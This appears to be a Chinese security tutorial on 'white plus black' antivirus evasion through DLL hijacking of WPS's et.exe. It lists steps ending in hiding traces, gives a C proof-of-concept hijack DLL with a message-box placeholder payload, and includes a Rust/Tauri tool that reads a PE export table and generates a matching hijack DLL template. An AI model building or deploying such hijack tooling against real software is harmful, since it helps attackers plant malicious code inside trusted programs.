白加黑
大约 4 分钟
白加黑
DeeLMind 提示
白加黑不一定可以绕过,只是一种方案
什么是白加黑
“白加黑”通常是指一种绕过杀毒软件(或安全软件)检测的技术,其中“白”指合法的、被信任的文件或进程,“黑”指恶意的代码。利用“白加黑免杀”技术,攻击者将恶意代码与合法文件或进程结合在一起,以避开杀毒软件的检测。
如何制作
- DLL劫持
DLL劫持
- 目标程序选择(wps et.exe)
- 分析DLL加载顺序
- 创建恶意DLL
- 将恶意DLL放置在正确的位置
- 执行目标程序
- 隐藏踪迹
#include "pch.h"
#include <stdlib.h>
#include <windows.h>
__declspec(dllexport) void __stdcall _force_link_krpt(void) {
MessageBoxA(NULL, "HiJack", "DLL_force_link_krpt", 0);
}
BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "HiJack", "DLL_DllMain", 0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// Prevents additional console window on Windows in release, DO NOT REMOVE!!
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
use std::fs::File;
use std::io::{self, Read};
use std::io::{Write, Result};
#[repr(C)]
#[derive(Debug)]
struct ImageDosHeader {
e_magic: u16, // "MZ"
e_cblp: u16,
e_cp: u16,
e_crlc: u16,
e_cparhdr: u16,
e_minalloc: u16,
e_maxalloc: u16,
e_ss: u16,
e_sp: u16,
e_csum: u16,
e_ip: u16,
e_cs: u16,
e_lfarlc: u16,
e_ovno: u16,
e_res: [u16; 4],
e_oemid: u16,
e_oeminfo: u16,
e_res2: [u16; 10],
e_lfanew: u32, // PE header offset
}
#[repr(C)]
#[derive(Debug)]
struct ImageFileHeader {
machine: u16,
number_of_sections: u16,
time_date_stamp: u32,
pointer_to_symbol_table: u32,
number_of_symbols: u32,
size_of_optional_header: u16,
characteristics: u16,
}
#[repr(C)]
#[derive(Debug)]
struct ImageOptionalHeader32 {
magic: u16,
major_linker_version: u8,
minor_linker_version: u8,
size_of_code: u32,
size_of_initialized_data: u32,
size_of_uninitialized_data: u32,
address_of_entry_point: u32,
base_of_code: u32,
base_of_data: u32,
image_base: u32,
section_alignment: u32,
file_alignment: u32,
major_operating_system_version: u16,
minor_operating_system_version: u16,
major_image_version: u16,
minor_image_version: u16,
major_subsystem_version: u16,
minor_subsystem_version: u16,
win32_version_value: u32,
size_of_image: u32,
size_of_headers: u32,
check_sum: u32,
subsystem: u16,
dll_characteristics: u16,
size_of_stack_reserve: u32,
size_of_stack_commit: u32,
size_of_heap_reserve: u32,
size_of_heap_commit: u32,
loader_flags: u32,
number_of_rva_and_sizes: u32,
export_table: DataDirectory,
import_table: DataDirectory,
resource_table: DataDirectory,
exception_table: DataDirectory,
certificate_table: DataDirectory,
base_relocation_table: DataDirectory,
debug: DataDirectory,
architecture: DataDirectory,
global_ptr: DataDirectory,
tls_table: DataDirectory,
load_config_table: DataDirectory,
bound_import: DataDirectory,
iat: DataDirectory,
delay_import_descriptor: DataDirectory,
clr_runtime_header: DataDirectory,
reserved: DataDirectory,
}
#[repr(C)]
#[derive(Debug)]
struct DataDirectory {
virtual_address: u32,
size: u32,
}
#[repr(C)]
#[derive(Debug)]
struct ImageSectionHeader {
name: [u8; 8],
virtual_size: u32,
virtual_address: u32,
size_of_raw_data: u32,
pointer_to_raw_data: u32,
pointer_to_relocations: u32,
pointer_to_linenumbers: u32,
number_of_relocations: u16,
number_of_linenumbers: u16,
characteristics: u32,
}
#[repr(C)]
#[derive(Debug)]
struct ImageExportDirectory {
characteristics: u32,
time_date_stamp: u32,
major_version: u16,
minor_version: u16,
name: u32,
base: u32,
number_of_functions: u32,
number_of_names: u32,
address_of_functions: u32, // RVA from base of image
address_of_names: u32, // RVA from base of image
address_of_name_ordinals: u32, // RVA from base of image
}
fn rva_to_offset(rva: u32, sections: &[ImageSectionHeader]) -> Option<usize> {
for section in sections {
if rva >= section.virtual_address && rva < section.virtual_address + section.virtual_size {
let offset = rva - section.virtual_address + section.pointer_to_raw_data;
return Some(offset as usize);
}
}
None
}
fn parse_pe_export_table(file_path: &str) -> io::Result<Vec<String>> {
let mut file = File::open(file_path)?;
let mut buffer = Vec::new();
file.read_to_end(&mut buffer)?;
// 解析 DOS 头
let dos_header = unsafe { &*(buffer.as_ptr() as *const ImageDosHeader) };
if dos_header.e_magic != 0x5A4D { // "MZ"
return Err(io::Error::new(io::ErrorKind::InvalidData, "Invalid PE file"));
}
// 解析 PE 头
let pe_header_offset = dos_header.e_lfanew as usize;
let file_header = unsafe { &*(buffer[pe_header_offset + 4..].as_ptr() as *const ImageFileHeader) };
// 解析 Optional Header(假设是 32 位)
let optional_header = unsafe {
&*(buffer[pe_header_offset + 24..].as_ptr() as *const ImageOptionalHeader32)
};
// 解析 Section Headers
let section_headers_offset = pe_header_offset + 24 + file_header.size_of_optional_header as usize;
let section_headers = unsafe {
std::slice::from_raw_parts(
buffer[section_headers_offset..].as_ptr() as *const ImageSectionHeader,
file_header.number_of_sections as usize,
)
};
// 定位导出表
let export_directory_rva = optional_header.export_table.virtual_address;
let export_directory_offset = rva_to_offset(export_directory_rva, section_headers)
.ok_or_else(|| io::Error::new(io::ErrorKind::InvalidData, "Export directory not found"))?;
let export_directory = unsafe {
&*(buffer[export_directory_offset..].as_ptr() as *const ImageExportDirectory)
};
// 获取名称指针列表
let name_rvas_offset = rva_to_offset(export_directory.address_of_names, section_headers)
.ok_or_else(|| io::Error::new(io::ErrorKind::InvalidData, "Name RVAs not found"))?;
let name_rvas = &buffer[name_rvas_offset..];
let mut function_names = Vec::new();
for i in 0..export_directory.number_of_names {
let name_rva = unsafe { *(name_rvas.as_ptr().add(i as usize * 4) as *const u32) };
let name_offset = rva_to_offset(name_rva, section_headers)
.ok_or_else(|| io::Error::new(io::ErrorKind::InvalidData, "Function name not found"))?;
let name_end = buffer[name_offset..].iter().position(|&c| c == 0).unwrap();
let function_name = String::from_utf8_lossy(&buffer[name_offset..name_offset + name_end]);
function_names.push(function_name.to_string());
}
Ok(function_names)
}
fn extract_base_name(mangled_name: &str) -> Option<String> {
// 去除前缀 `?_`
let trimmed_name = mangled_name.strip_prefix("?")?;
// 查找第一个 '@' 符号的位置
if let Some(pos) = trimmed_name.find('@') {
let base_name = &trimmed_name[..pos];
// 查找最后一个 '@' 符号的位置(如果有的话)
if let Some(second_pos) = base_name.rfind('@') {
return Some(base_name[..second_pos].to_string());
}
return Some(base_name.to_string());
}
None
}
fn hijack(file_path: &str) -> String{
let _templete = r#"
#include "pch.h"
#include <stdlib.h>
#include <windows.h>
EXPORTS_REPLACE
BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "HiJack", "DLL_DllMain", 0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
"#;
// 获取PE导出函数 __declspec(dllexport) void __stdcall
let mut file = File::open(file_path).expect("Failed Open File");
// 读取文件内容
let mut buffer = Vec::new();
file.read_to_end(&mut buffer).expect("Failed Read Buffer");
// 解析 PE 文件
let function_names = parse_pe_export_table(file_path).expect("");
// 获取导出表
for name in function_names {
println!("{}", name);
match extract_base_name(&name.to_string()) {
Some(base_name) => {
println!("Extracted base name: {}", base_name);
// 替换EXPORTS
let mut newExport = String::from("__declspec(dllexport) void __stdcall ");
newExport.push_str(&base_name);
newExport.push_str("(void){}");
println!("Extracted base New name: {}", newExport);
// 生成C代码
// 替换模板中的 EXPORTS_REPLACE
let result = _templete.replace("EXPORTS_REPLACE", &newExport);
println!("HiJack C File \n {}",result);
// 写入文件
let output_path = "hijack.c";
let mut output_file = File::create(output_path).expect("Failed to create output file");
output_file.write_all(result.as_bytes()).expect("Failed to write to output file");
},
None => println!("Could not extract the base name."),
}
}
// 返回OK
format!("Generate Successfully")
}
// Learn more about Tauri commands at https://tauri.app/v1/guides/features/command
#[tauri::command]
fn hijack_dll(file: &str) -> String {
hijack(file)
}
fn main() {
tauri::Builder::default()
.invoke_handler(tauri::generate_handler![hijack_dll])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}